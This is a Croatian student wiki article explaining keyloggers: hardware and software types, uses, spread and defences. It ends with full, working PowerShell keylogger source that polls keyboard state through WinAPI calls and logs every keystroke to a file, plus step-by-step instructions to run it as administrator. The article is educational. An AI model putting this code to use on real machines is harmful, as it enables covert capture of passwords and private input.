Powershell Keylogger

Izvor: SIS Wiki
Skoči na: orijentacija, traži

Temu rezervirao: Mateo Cindrić

Sadržaj

Uvod

Keylogger je naziv za program ili uređaj koji služi za praćenje unosa znakova preko tipkovnice. Ostali nazivi su keystroke logger, key logger te system monitor. Ti alati prate i bilježe tipke koje korisnik pritisne. Takvi alati mogu imati pozitivan učinak na sigurnost računalnog sustava, a mogu se javljati kao dodatak već instaliranim sigurnosnim programima. S druge strane mogu predstavljati veliku sigurnosnu ranjivost za individualni sustav ili cijelu računalnu mrežu. Vrlo je teško zaštititi se od napada keylogger alatima jer je obično nemoguće znati je li takav alat instaliran na ranjivom računalu ili nije.


Općenito o keylogger alatima

Keylogger alati imaju za cilj pratiti unos znakova preko tipkovnice na način da se uključuju u lanac događaja između pritiska tipke na tipkovnici i prikaza znaka na ekranu. To se može postići na više načina među kojima su postavljanje video nadzora, podmetanje prislušnog uređaja na tipkovnicu ili korištenjem samog računala za presretanje unosa znakova, prepisivanjem upravljačkih programa tipkovnice te upravljačkih programa za obavljanje posebnih funkcija tipkovnice, presretanjem DLL (eng. Dynamic-link library) funkcija u korisničkom načinu rada ili presretanjem funkcija jezgre operacijskog sustava. Keylogger alati se dijele u dvije kategorije: sklopovski uređaji i programski paketi. Sklopovski uređaji su male naprave koje se postavljaju u tipkovnicu, žicu od tipkovnice ili u računalo, a programski paketi se sastoje od programa koji prate i bilježe pritiske tipke na tipkovnici.


Sklopovski keylogger alati

Riječ je o uređajima koji se stave između tipkovnice i priključka za tipkovnicu na matičnoj ploči računala. Ovaj način upotrebe keylogger uređaja zahtjeva ugradnju u tajnosti, a to napadaču može predstavljati problem, pošto je teško ugraditi takav uređaj pogotovo u prostoru u kojemu ljudi borave tijekom cijelog dana.

Prednosti:

Nedostaci:


Slika 1 prikazuje uređaj „KeyGhost SX“ sa kapacitetom memorije 2MB. Takav uređaj može pamtiti više od 2 milijuna pritiska tipki na tipkovnici te koristi 128 – bitnu enkripciju pri spremanju podataka.

Slika 1. Primjer sklopovskog keylogger alata


Programski keylogger alati

Za razliku od sklopovskog uređaja, keylogger kao programski paket za praćenje unosa znakova preko tipkovnice je program koji može pratiti i više od samih pritisaka tipki na tipkovnici. Antivirusnim alatima te drugim programskim alatima za otkrivanje sigurnosnih propusta na računalu je moguće otkriti instaliran keylogger program na operacijskom sustavu.

Prednosti:

Nedostaci:

Nekoliko je načina izrade keylogger programa. Prva metoda je postavljanje tzv. sistemske udice (eng. system hook) koja presreće obavijest o pritisnutoj tipki (Kod Windows operacijskih sustava se koristi WinAPI metoda SetWindowsHook). Iduća metoda je postavljanje cikličkih zahtjeva za informacijama o događajima na tipkovnici (Kod Windows operacijskog sustava se koriste WinAPI metode Get(Async)KeyState ili GetKeyboardState.). Posljednje je korištenje upravljačkih programa za obavljanje posebnih funkcija (za izradu programa je potrebno odlično poznavanje sustava, a program se obično piše u programskom jeziku C).

Više o ovoj temi potražite ovdje

Razlozi za korištenje keylogger alata

Mnogo je programskih paketa kojima administratori mogu pratiti aktivnosti zaposlenika ili pak korisnicima osobnih računala dati mogućnost praćenja aktivnosti udaljenih korisnika njihovih računala. Tanka je linija između opravdanog praćenja i špijuniranja korisnika. Legalni programi se često koriste za krađu povjerljivih korisničkih podataka, obično lozinke. Većina keylogger programa ili uređaja je legalna i mogu se prodavati na slobodnom tržištu.

Slijedi nekoliko primjera gdje je upotreba takvih alata legalna i primjerena:

Legalni program se može koristiti i u kriminalne svrhe. Danas se obično keylogger alati i uređaji koriste za krađu korisničkih podataka vezanih uz web sustave za praćenje kreditnih kartica. Mnogi se keylogger programi skrivaju u sustavu te kao takvi imaju rootkit funkcionalnost.

Više o ovoj temi potražite ovdje

Načini širenja keylogger programa

Najčešći načini širenja:


Zaštita od keylogger programa

Preporuka je instalacija antivirusnog programa budući su većina antivirusnih tvrtki već dodala poznate keylogger programe u svoje baze podataka te se tretiraju kao zlonamjerni programi. Ovo su neke od metoda zaštite od keylogger programa:

Virtualna tipkovnica

Više o ovoj temi potražite ovdje


Primjer keylogger programa

Programski kod napisan u nastavku predstavlja keylogger program koji je napisan u PowerShellu. Osnovi zadatak mu je pamćenje unosa znakova s tipkovnice, odnosno pritiska alfanumeričkih i specijalnih znakova na tipkovnici. Program može pamtiti velika i mala slova, brojeve, dijakritičke znakove (č, ć, ž, š i đ), znak razmaka te sve pravopisne znakove. Unesene znakove pohranjuje u horizontalnom obliku u datoteku koju sam nazvao PowerShellKeylogger.txt. Od nabrojanih metoda izrade keylogger programa u poglavlju 2.2, ovaj keylogger koristi metodu koja postavlja cikličke zahtjeve za informacijama o događajima na tipkovnici, a budući da je riječ o Windows operacijskom sustavu, koriste se WinAPI metode Get(Async)KeyState te GetKeyboardState.

function PowerShellKeylogger($Path="$env:C\PowerShellKeylogger.txt")
{

    $virtualKeyCodeSignature = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
'@
    $keyboardStateSignature = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
'@
    $mapSignature = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
'@
	$unicodeSignature = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@

  $getState = Add-Type -MemberDefinition $virtualKeyCodeSignature -name "Win32GetState" -namespace Win32Functions -passThru
  $getKeyboardState = Add-Type -MemberDefinition $keyboardStateSignature -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru
  $getMapVirtualKey = Add-Type -MemberDefinition $mapSignature -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru
  $getUnicode = Add-Type -MemberDefinition $unicodeSignature -name "Win32MyToUnicode" -namespace Win32Functions -passThru
 
  $outputFile = New-Item -Path $Path -ItemType File -Force
 
  try
  {
 
    while ($true) {
      Start-Sleep -Milliseconds 10
      
      for ($asciiCode = 1; $asciiCode -le 254; $asciiCode++) {
        $keyState = $getState::GetAsyncKeyState($asciiCode)
 
        if ($keyState -eq -32767) {
          $capsLock = [console]::CapsLock
 
          $virtualKey = $getMapVirtualKey::MapVirtualKey($asciiCode, 3)
 
          $kbState = New-Object Byte[] 256
          $checkkbState = $getKeyboardState::GetKeyboardState($kbState)
 
          $myChar = New-Object -TypeName "System.Text.StringBuilder";
 
          $result = $getUnicode::ToUnicode($asciiCode, $virtualKey, $kbState, $myChar, $myChar.Capacity, 0)
 
          if ($result -gt 0)
          {
            [System.IO.File]::AppendAllText($Path, $myChar, [System.Text.Encoding]::Unicode)
          }
        }
      }
    }
  }
  finally
  {
    notepad $Path
  }
}
 
PowerShellKeylogger

Nekoliko je načina pokretanja ovog programskog koda:

1. način –cmd

Za pokretanje programa putem cmd-a potrebno je pohraniti datoteku s kodom (ekstenzija .ps1) na računalo. Otvorite cmd kao administrator te prvo promijenite politiku izvršavanja na

powershell Set-ExecutionPolicy RemoteSigned

Potom u command promptu doći do putanje gdje je datoteka spremljena te ju pokrenuti:

powershell.exe -file naziv_datoteke.ps1

2. način – Windows PowerShell ili Windows PowerShell ISE

Otvoriti Windows PowerShell (otvoriti program kao administrator)

Slika 2. Kako doći do Windows PowerShell-a
Windows PowerShell.png

Nakon što ste otvorili Windows PowerShell kao administrator, promijenite politiku izvršavanja unošenjem sljedeće linije:

Set-ExecutionPolicy RemoteSigned

Kopirati kod i zalijepiti ga u Windows PowerShell.

Sada Windows PowerShell izgleda ovako:

Windows PowerShell 2.png

Otvoriti neku aplikaciju (npr. web browser) te pritisnuti tipke na tipkovnici

Web browser.png

Po završetku, pritisnite CTRL+C kako bi se zaustavilo izvršavanje koda.

Tada će se kao rezultat otvoriti datoteka u notepad-u koja ostaje pohranjena na putanji C\PowerShellKeylogger.txt

Datoteka.png

Kao alternativu, možete otvoriti Windows PowerShell ISE te u njemu otvoriti datoteku ili kopirati kod na predviđeno mjesto. Zatim pritisnite Play ikonu kako bi pokrenuli skriptu. Ovakav način pokretanja će dati isti krajnji rezultat.

Windows PowerShell ISE.png


Literatura

  1. CARNet CERT: Praćenje unosa znakova preko tipkovnice http://www.cis.hr/www.edicija/LinkedDocuments/CCERT-PUBDOC-2007-11-211.pdf
  2. Creating a Simple Keylogger using PowerShell https://www.nextofwindows.com/creating-a-simple-keylogger-using-powershell-download
  3. Simple Keylogger with Powershell https://www.youtube.com/watch?v=LsXQPZfvksg
  4. How to create a simple keylogger yourself in windows http://merabheja.com/create-simple-keylogger-windows/
  5. Simple Windows Keylogger using PowerShell https://gist.github.com/dasgoll/7ca1c059dd3b3fbc7277
  6. First version of powershell keylogger https://github.com/vacmf/powershell-scripts/blob/master/powershell-keylogger.ps1
  7. Powershell Keylogger https://0x00sec.org/t/plug-in-to-win-powershell-keylogger-part-2-3/1158
  8. Comparison Operators http://ss64.com/ps/syntax-compare.html
  9. Slika 1. http://www.keyghost.com/sx/images/closeup_sx.gif
  10. Slika 2. http://merabheja.com/create-simple-keylogger-windows/
Osobni alati
Imenski prostori
Inačice
Radnje
Orijentacija
Traka s alatima